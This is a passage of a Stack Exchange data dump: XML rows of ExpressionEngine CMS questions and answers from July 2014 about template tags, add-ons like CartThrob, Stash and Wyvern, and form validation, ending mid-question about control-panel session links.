  <row Id="24445" PostTypeId="2" ParentId="24364" CreationDate="2014-07-16T12:35:46.673" Score="0" Body="&lt;p&gt;You need to set the dynamic feature for this to no so that it isn't parsing any other information beyond this form through the URL. You can read about it here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#dynamic&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#dynamic&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2014-07-16T12:35:46.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24446" PostTypeId="2" ParentId="24441" CreationDate="2014-07-16T12:37:34.923" Score="1" Body="&lt;p&gt;Fieldtype tag pairs with modifiers SHOULD NOT contain the modifier in the closing tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wrong:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{myfield:modifier}{somedata}{/myfield:modifier}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Right:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{myfield:modifier}{somedata}{/myfield}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-07-16T12:37:34.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24448" PostTypeId="2" ParentId="24364" CreationDate="2014-07-16T13:15:47.480" Score="0" Body="&lt;p&gt;use tag disable=&quot;member_data&quot; in channel form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form&#xA;    channel=&quot;profiles&quot;&#xA;    class=&quot;form-horizontal apply-nolazy&quot;&#xA;    datepicker=&quot;no&quot;&#xA;    dynamic_title=&quot;[email]&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;    id=&quot;registration-form&quot;&#xA;    include_assets=&quot;no&quot;&#xA;    include_jquery=&quot;no&quot;&#xA;    loggin_member=&quot;no&quot;&#xA;    register_member=&quot;yes&quot;&#xA;    return=&quot;/sign-up/verify-email-address/&quot;&#xA;    rules:birthdate=&quot;required&quot;&#xA;    rules:gender=&quot;required&quot;&#xA;    rules:profile_name=&quot;required|max_length[25]&quot;&#xA;    rules:user_provided_address=&quot;required&quot;&#xA;    secure_action=&quot;yes&quot;&#xA;    secure_return=&quot;yes&quot;&#xA;    disable=&quot;member_data&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i think that works for you&lt;/p&gt;&#xA;" OwnerUserId="3361" LastActivityDate="2014-07-16T13:15:47.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24450" PostTypeId="1" CreationDate="2014-07-16T13:46:34.280" Score="0" ViewCount="322" Body="&lt;p&gt;With the category parameter in ExpressionEngine we can specify to not provide entries with a specific category &lt;code&gt;category=&quot;not 1&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to show entries that only have a specified category, for example: &lt;code&gt;category=&quot;only 1&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So entries that are marked as category 1+2 will not show. &lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-07-18T16:38:18.493" Title="Showing entries that only have a specific category" Tags="|channel-entries|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24451" PostTypeId="2" ParentId="23585" CreationDate="2014-07-16T14:16:04.973" Score="2" Body="&lt;p&gt;After a support call with CartThob I have this fixed. Turns out its actually a CodeIgniter issue (kinda). The request is basically passing through CI's XSS filter, which is picking this up as a possible XSS threat and escaping it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I got around it was making a small addition to the &lt;code&gt;system/expressionengine/third_party/cartthrob/libraries/Form_builder.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Around line 714 you should see the code block&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! $this-&amp;gt;return)&#xA;{&#xA;    $this-&amp;gt;return = ($this-&amp;gt;EE-&amp;gt;input-&amp;gt;get_post('return')) ? $this-&amp;gt;EE-&amp;gt;input-&amp;gt;get_post('return', TRUE) : $this-&amp;gt;EE-&amp;gt;uri-&amp;gt;uri_string();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which, with the addition, becomes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! $this-&amp;gt;return)&#xA;{&#xA;    $this-&amp;gt;return = ($this-&amp;gt;EE-&amp;gt;input-&amp;gt;get_post('return')) ? $this-&amp;gt;EE-&amp;gt;input-&amp;gt;get_post('return', TRUE) : $this-&amp;gt;EE-&amp;gt;uri-&amp;gt;uri_string();&#xA;    $this-&amp;gt;return = str_replace(&quot;category;:&quot;,&quot;category:&quot;,$this-&amp;gt;return);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously replacing &quot;category&quot; with whatever word(s) you are using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this sorts it for you too!&lt;/p&gt;&#xA;" OwnerUserId="1870" LastActivityDate="2014-07-16T14:16:04.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24452" PostTypeId="1" AcceptedAnswerId="24465" CreationDate="2014-07-16T14:42:01.130" Score="0" ViewCount="89" Body="&lt;p&gt;Does this plugin exist? If not, does anyone know of any alternatives besides coding our own?&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-07-16T22:58:31.647" Title="Does Cartthrob Gift Certificates exist anymore?" Tags="|cartthrob|giftcertificates|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24453" PostTypeId="1" CreationDate="2014-07-16T14:49:24.793" Score="2" ViewCount="97" Body="&lt;p&gt;I want to know if its possible to create a custom type in content element fieldtype addon.Presently it contains a list of types like Code,Gallery,Heading etc and I want to add another type like &quot;freeform pro&quot; which should give an option to select all the free forms available and user can select one.&#xA;  And in the template it should load the respective form,may I know if thats a possible thing to start working on it,if so can anyone please help me out with how should I approach this development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;Nisar&lt;/p&gt;&#xA;" OwnerUserId="1210" LastActivityDate="2014-07-16T14:49:24.793" Title="Creating a custom type in content element add-on a possibility or not?" Tags="|solspace-freeform|content-elements|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24454" PostTypeId="2" ParentId="24450" CreationDate="2014-07-16T15:29:37.757" Score="4" Body="&lt;p&gt;This may be a little bit of a rough work around but it should work for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can use the &quot;Entry Category Count&quot; plugin and then run a conditional inside of your entries tag like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;foo&quot; category=&quot;1&quot;}&#xA;    {if {exp:entry_category_count entry_id=&quot;{entry_id}&quot;} == &quot;1&quot;}&#xA;        ...&#xA;    {/if} &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/entry-category-count&quot; rel=&quot;nofollow&quot;&gt;Entry Category Count&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/erikreagan/er.entry_category_count.ee_addon&quot; rel=&quot;nofollow&quot; title=&quot;On GIT&quot;&gt;On GitHub&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3317" LastEditorUserId="3317" LastEditDate="2014-07-18T16:38:18.493" LastActivityDate="2014-07-18T16:38:18.493" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24455" PostTypeId="2" ParentId="24452" CreationDate="2014-07-16T15:45:06.130" Score="0" Body="&lt;p&gt;I'm afraid I don't have a particularly positive answer...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;Buy&quot; button on the documentation now goes to a blank page and there are no mentions of it on the main Cart Throb website. I think you can consider this one dead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because has CartThrob included first-party gift certificates since 2012 it looks as though there was never much demand for a third-party solution and so there doesn't seem to be any alternatives on the market.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A popular alternative to CartThrob, Exp:resso store doesn't have gift certificate support either at time of writing, although it is a candidate on the &quot;Feature Requests&quot; voting page at &lt;a href=&quot;https://exp-resso.com/support/feature-requests&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/support/feature-requests&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brilliant Retail doesn't have gift card support either (unless you want to make single-use coupon codes manually - in which case all 3 of these platforms should accommodate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately ExpressionEngine can be a bit lackluster when it comes to eCommerce websites. Typically it works well for sites with a few products and very basic functionality but when you introduce advanced digital products, certificates, delivery tables, tax tables it lags behind other solutions such as Magento or Shopify.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-07-16T15:45:06.130" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24456" PostTypeId="1" AcceptedAnswerId="24457" CreationDate="2014-07-16T16:55:04.920" Score="1" ViewCount="84" Body="&lt;p&gt;We're trying to get Wyvern/CKEDITOR to show up on our dashboard that we created. It shows up beautiful in the control panel, just not the dashboard. We've been scouring the web for clues or hints of code to point us in the right direction. When ee-rte is selected, it works beautifully on the dashboard. Just not Wyvern!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried {field:mission} (thanks to Brian Litzinger) which got us some what closer. But we're stuck yet again. Posted below is a picture of what is happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N802J.png&quot; alt=&quot;Picture of Dashboard.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;div class=&quot;form-element-wrapper&quot; id=&quot;mission-container&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;mission&quot;&amp;gt;Mission&amp;lt;/label&amp;gt;&#xA;      &amp;lt;textarea name=&quot;fife&quot; id=&quot;fife&quot; rows=&quot;12&quot; styles=&quot;width:100%;&quot;&amp;gt;&#xA;        {field:mission}&#xA;      &amp;lt;/textarea&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've linked the ckeditor.js. I've even tried CKEDITOR.replace (which is why the id and class say 'fife' still). I've done about almost every combination my brain can think of. What are we missing? Any help or suggestions will be extremely helpful! Thank you everyone for your time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1:&lt;/strong&gt; {field:mission} &lt;em&gt;does&lt;/em&gt; render textarea in &lt;em&gt;source&lt;/em&gt;, just does &lt;em&gt;not&lt;/em&gt; display. Here is what we see.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;textarea style=&quot;margin-top: 30px; height: 200px; visibility: hidden;&quot; class=&quot;wyvern&quot; id=&quot;mission&quot; name=&quot;mission&quot;&amp;gt;mission text here&amp;lt;/textarea&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2:&lt;/strong&gt; We figured it out: It was an issue with how we had the segments set up. Once we changed everything to a more simpler segment layout, it worked perfectly. {field:mission} DOES properly render the textarea and DOES display the editor beautifully now on the front end. Thanks for the help, Brian. &lt;/p&gt;&#xA;" OwnerUserId="2902" LastEditorUserId="2902" LastEditDate="2014-07-30T23:21:52.123" LastActivityDate="2014-07-30T23:21:52.123" Title="Wyvern and CKEDITOR" Tags="|channel|fields|rte|wyvern|ckeditor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24457" PostTypeId="2" ParentId="24456" CreationDate="2014-07-16T17:29:42.843" Score="1" Body="&lt;p&gt;Try just:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div class=&quot;form-element-wrapper&quot; id=&quot;mission-container&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;mission&quot;&amp;gt;Mission&amp;lt;/label&amp;gt;&#xA;    {field:mission}&#xA;  &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{field:mission} will render the textarea for you.&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2014-07-16T17:29:42.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24458" PostTypeId="1" AcceptedAnswerId="24826" CreationDate="2014-07-16T18:18:30.000" Score="3" ViewCount="203" Body="&lt;p&gt;I'm using Stash to capture a list of articles. I'm trying to keep my viewModel separate from my view markup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each article, I'm capturing a nested list of categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the view, I want to output comma-separated categories. I was under the impression that I could use backspace=&quot;x&quot; on a get_list, but it doesn't seem to work. I am I going about this incorrectly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose I could use an if/else with 'count' and 'total_results' to remove the final comma and space, but would also like to know if backspace can work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Set article list&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Articles --}&#xA;{exp:stash:set_list name=&quot;articles&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;    {exp:channel:entries&#xA;        channel=&quot;news&quot;&#xA;        dynamic=&quot;no&quot;&#xA;        orderby=&quot;sticky|entry_date&quot;&#xA;        sort=&quot;desc|desc&quot;&#xA;        sort_type=&quot;numeric|numeric&quot;&#xA;        disable=&quot;member_data|category_fields&quot;&#xA;        {triggers:entries}&#xA;    }&#xA;        {stash:id}{entry_id}{/stash:id}&#xA;        {stash:sticky}{sticky}{/stash:sticky}&#xA;        {stash:title}{title}{/stash:title}&#xA;        {stash:summary}{article_summary}{/stash:summary}&#xA;        {stash:date}{entry_date}{/stash:date}&#xA;        {stash:url}{page_url}{/stash:url}&#xA;        {stash:image}{article_featured_image}{/stash:image}&#xA;&#xA;        {exp:stash:set_list:nested name=&quot;this_article_categories&quot; parse_tags=&quot;yes&quot; context=&quot;{entry_id}&quot;}&#xA;            {categories}&#xA;                {stash:category_name}{category_name}{/stash:category_name}&#xA;                {stash:category_url_title}{category_url_title}{/stash:category_url_title}&#xA;            {/categories}&#xA;        {/exp:stash:set_list:nested}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Get Articles&lt;/strong&gt; (See the get_list:nested name=&quot;this_article_categories&quot; in the code below.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Get Articles --}&#xA;{exp:stash:get_list name=&quot;articles&quot; prefix=&quot;news&quot; paginate=&quot;bottom&quot; limit=&quot;15&quot;}&#xA;&amp;lt;article&amp;gt;&#xA;    &amp;lt;header&amp;gt;&#xA;        &amp;lt;div class=&quot;meta&quot;&amp;gt;&#xA;            {news:date format=&quot;%M %j, %Y&quot;} in {exp:stash:get_list:nested name=&quot;this_article_categories&quot; backspace=&quot;2&quot; context=&quot;{news:id}&quot;}&#xA;                &amp;lt;a href=&quot;/news-events/news/category/{category_url_title}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;, &#xA;            {/exp:stash:get_list:nested}&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;h1 class=&quot;gamma&quot;&amp;gt;&amp;lt;a href=&quot;{news:url}&quot;&amp;gt;{news:title}&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;/header&amp;gt;&#xA;    &amp;lt;div class=&quot;article-body&quot;&amp;gt;&#xA;        {news:summary}&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;p class=&quot;read-more&quot;&amp;gt;&amp;lt;a href=&quot;{news:url}&quot;&amp;gt;Continue reading &amp;lt;i class=&quot;ss-gizmo ss-right&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/article&amp;gt;&#xA;&#xA;&amp;lt;hr&amp;gt;&#xA;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="962" LastEditorUserId="962" LastEditDate="2014-07-16T18:25:17.250" LastActivityDate="2014-08-01T09:52:16.873" Title="Use backspace parameter on Stash nested get_list" Tags="|categories|stash|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24460" PostTypeId="1" AcceptedAnswerId="24677" CreationDate="2014-07-16T20:47:11.997" Score="0" ViewCount="278" Body="&lt;p&gt;I have found a couple of loop plugins but I cant quite figure out how to get what I'm looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to have a select dropdown in my template that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;October   2014&#xA;November  2014&#xA;December  2014&#xA;January   2015&#xA;February  2015&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would I accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2014-07-26T02:51:24.287" Title="Loop month and year in select options" Tags="|loop|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24462" PostTypeId="2" ParentId="24314" CreationDate="2014-07-16T21:58:10.680" Score="1" Body="&lt;p&gt;Just closing the loop. I did file a &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20447/some-comment-variables-not-working-after-ee-2.8.1-upgrade&quot; rel=&quot;nofollow&quot;&gt;bug report here&lt;/a&gt; and it was accepted.&lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2014-07-16T21:58:10.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24465" PostTypeId="2" ParentId="24452" CreationDate="2014-07-16T22:58:31.647" Score="3" Body="&lt;p&gt;We ran into something similar with one of the CartThrob listed payment processors. It was listed in the docs, but the processing files were missing for that specific gateway. We reached out to CartThrob support and were emailed the missing files 24 hours later. This sounds like a similar situation so you may try to set up a support call with them directly.&lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2014-07-16T22:58:31.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24466" PostTypeId="1" CreationDate="2014-07-16T23:08:27.527" Score="0" ViewCount="208" Body="&lt;p&gt;I have an event block that displays images. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to have 3 options:&#xA;- if event has image, display that image&#xA;- if event url title has a certain keyword, display that image&#xA;- else display a placeholder image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how to write the 2nd option to the existing code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {if event_photo}&#xA;        {exp:imgsizer:size src=&quot;{event_photo}&quot; alt=&quot;{title}&quot; width=&quot;300&quot; height=&quot;450&quot; class=&quot;displayBlock&quot; quality=&quot;100&quot;}&#xA;    {if:else}&#xA;        &amp;lt;img src=&quot;/images/_pages/_global/placeholder.jpg&quot;/&amp;gt;&#xA;    {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3076" LastEditorUserId="343" LastEditDate="2014-07-16T23:51:10.563" LastActivityDate="2014-09-15T15:52:49.373" Title="If else condition involving contains on url-title?" Tags="|url|url-title|ifelse|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24467" PostTypeId="1" CreationDate="2014-07-16T23:35:53.650" Score="0" ViewCount="132" Body="&lt;p&gt;I can set a &lt;em&gt;maximum&lt;/em&gt; limit on the number of images a user can upload. Is there a way to set a &lt;em&gt;minimum&lt;/em&gt;? I need to force users to upload 5 images, no more, no less.&lt;/p&gt;&#xA;" OwnerUserId="3366" LastActivityDate="2014-08-16T04:17:10.793" Title="Can I set a minimum number of required images for a channel images field?" Tags="|channel-images|devdemon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24468" PostTypeId="2" ParentId="24466" CreationDate="2014-07-16T23:49:28.533" Score="1" Body="&lt;p&gt;You need some &lt;a href=&quot;https://en.wikipedia.org/wiki/Regular_expression&quot; rel=&quot;nofollow&quot;&gt;RegEx&lt;/a&gt; for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the new &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/conditionals.html#contains-operator&quot; rel=&quot;nofollow&quot;&gt;conditionals operators&lt;/a&gt; of EECMS version 2.9:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if event_photo}&#xA;    {exp:imgsizer:size src=&quot;{event_photo}&quot; alt=&quot;{title}&quot; width=&quot;300&quot; height=&quot;450&quot; class=&quot;displayBlock&quot; quality=&quot;100&quot;}&#xA;{if:elseif url_title *= &quot;keyword&quot;}&#xA;    {exp:imgsizer:size src=&quot;{other_photo}&quot; alt=&quot;{title}&quot; width=&quot;300&quot; height=&quot;450&quot; class=&quot;displayBlock&quot; quality=&quot;100&quot;}&#xA;{if:else}&#xA;    &amp;lt;img src=&quot;/images/_pages/_global/placeholder.jpg&quot;/&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using &lt;a href=&quot;https://github.com/croxton/Switchee/&quot; rel=&quot;nofollow&quot;&gt;switchee&lt;/a&gt;, if you can't update EECMS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{event_photo}/{url_title}&quot; parse=&quot;inward&quot;}&#xA;    {!-- if the concatenation of both variables ends on &quot;/&quot;, but has something before it --}&#xA;    {case value=&quot;#./$#&quot;}&#xA;        {exp:imgsizer:size src=&quot;{event_photo}&quot; alt=&quot;{title}&quot; width=&quot;300&quot; height=&quot;450&quot; class=&quot;displayBlock&quot; quality=&quot;100&quot;}&#xA;    {/case}&#xA;&#xA;    {!-- if there is &quot;keyword&quot; --}&#xA;    {case value=&quot;#keyword#&quot;}&#xA;        {exp:imgsizer:size src=&quot;{other_photo}&quot; alt=&quot;{title}&quot; width=&quot;300&quot; height=&quot;450&quot; class=&quot;displayBlock&quot; quality=&quot;100&quot;}&#xA;    {/case}&#xA;&#xA;    {case default=&quot;yes&quot;}&#xA;        &amp;lt;img src=&quot;/images/_pages/_global/placeholder.jpg&quot;/&amp;gt;&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-09-15T15:52:49.373" LastActivityDate="2014-09-15T15:52:49.373" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24469" PostTypeId="1" CreationDate="2014-07-17T00:53:21.060" Score="0" ViewCount="176" Body="&lt;p&gt;While uploading EE 2.9.0 zip file, Updater (v3.2.14) is throwing following error:&#xA;&quot;An upload error occured. CODE: 1&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2181" LastActivityDate="2015-01-13T06:34:43.417" Title="DevDemon Updater: An upload error occured. CODE: 1" Tags="|devdemon-updater|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24470" PostTypeId="2" ParentId="24469" CreationDate="2014-07-17T03:03:11.310" Score="1" Body="&lt;p&gt;This error is saying your PHP Maximum Upload Size and PHP Max Post Size is smaller then file you are uploading. We provide a listing of your max sizes on the Upload page. Make sure they are higher then the file you are uploading.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2014-07-17T03:03:11.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24471" PostTypeId="2" ParentId="24467" CreationDate="2014-07-17T03:04:54.403" Score="4" Body="&lt;p&gt;Currently Channel Images does not support this feature. You can request the feature for the future in our support portal. If you need it now, we are available for custom work as well. Feel free to contact us on the Support Portal.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2014-07-17T03:04:54.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24472" PostTypeId="1" CreationDate="2014-07-17T05:02:44.573" Score="0" ViewCount="99" Body="&lt;p&gt;I am using &lt;a href=&quot;https://www.objectivehtml.com/google-maps/fieldtype&quot; rel=&quot;nofollow&quot;&gt;Google Maps for ExpressionEngine&lt;/a&gt; field type with &lt;a href=&quot;http://ee-zoo.com/docs/visitor/tags/update.html&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt; update member entry form. But I couldn't make this field type as &lt;code&gt;Required&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried by having &quot;Is this a required field?&quot; as &quot;Yes&quot; from field setting and/or validation rule &lt;code&gt;rules:field_name=&quot;required&quot;&lt;/code&gt; but no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone please suggest how can I validate Google Map field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2016-05-21T23:01:29.760" Title="&quot;Google Maps for ExpressionEngine&quot; field validation with Zoo Visitor Update Form" Tags="|custom-fields|google-maps-for-ee|validation|channel-fields|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24473" PostTypeId="1" AcceptedAnswerId="24482" CreationDate="2014-07-17T05:53:26.727" Score="1" ViewCount="53" Body="&lt;p&gt;Does the inbuilt search search through the relationship fields?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using &lt;code&gt;simple_form&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3367" LastActivityDate="2014-07-17T12:41:38.083" Title="Inbuilt search and relationship field" Tags="|relationships|search|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24474" PostTypeId="1" CreationDate="2014-07-17T07:59:07.607" Score="2" ViewCount="857" Body="&lt;p&gt;The upgrade we did last night from 2.8.1. to 2.9 seemed OK. However we only tested the back-end so far!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While running the front-end we're getting these errors messages on all pages…&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You have an invalid conditional in your template. Please review your conditionals for an unclosed string, invalid operators, a missing }, or a missing {/if}.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Lexer State: if: is a reserved prefix.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Of course we're focussed on finding incorrect conditional errors and couldn't find any! Checked 50+ templates. Close to giving up we found the issues caused by a missing } in a script in our HTML footer….. &lt;/p&gt;&#xA;" OwnerUserId="2986" LastActivityDate="2014-09-26T15:18:20.990" Title="Conditional errors after upgrading to EE 2.9 (just a helpful hand)" Tags="|ee2|ee2-upgrades|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24475" PostTypeId="1" AcceptedAnswerId="24477" CreationDate="2014-07-17T08:32:56.927" Score="0" ViewCount="68" Body="&lt;p&gt;For two particular (moderator) user groups, I have made a 'admin'-link that takes the user from pieces of content on the website, to the admin side - directly into the 'content-&gt;edit-&gt;entry' of that content. This to make it easier for moderators of a blog to edit certain pieces of content if necessary - without having to look for it again in the admin side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link I created looks something like this:&#xA;&lt;a href=&quot;http://thewebsite.com/admin.php?/cp/content_publish/entry_form?channel_id=14&amp;amp;entry_id=1202&quot; rel=&quot;nofollow&quot;&gt;http://thewebsite.com/admin.php?/cp/content_publish/entry_form?channel_id=14&amp;amp;entry_id=1202&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works - but the only thing is, everytime when the link is clicked the user first needs to login again (username, password) before getting into the admin part (even if the admin part is still open in a different tap).&#xA;This is because in my link I miss a (presumably) salt part (which is there when I get to the edit screen using the normal admin login) - see the last part ==&gt;&#xA;&lt;a href=&quot;http://thewebsite.com/admin.php?/cp/content_publish/entry_form?channel_id=14&amp;amp;entry_id=1202&amp;amp;S=efdf1b4699b93656ab6cbace8816add5&quot; rel=&quot;nofollow&quot;&gt;http://thewebsite.com/admin.php?/cp/content_publish/entry_form?channel_id=14&amp;amp;entry_id=1202&amp;amp;S=efdf1b4699b93656ab6cbace8816add5&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;how do I get / create this salt part (S=&lt;strong&gt;****&lt;/strong&gt;), to be able to sent a user directly into the admin part of the side? (maybe after a one time login, but not for every time).&#xA;It is not the same as the salt column in exp_members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know what to 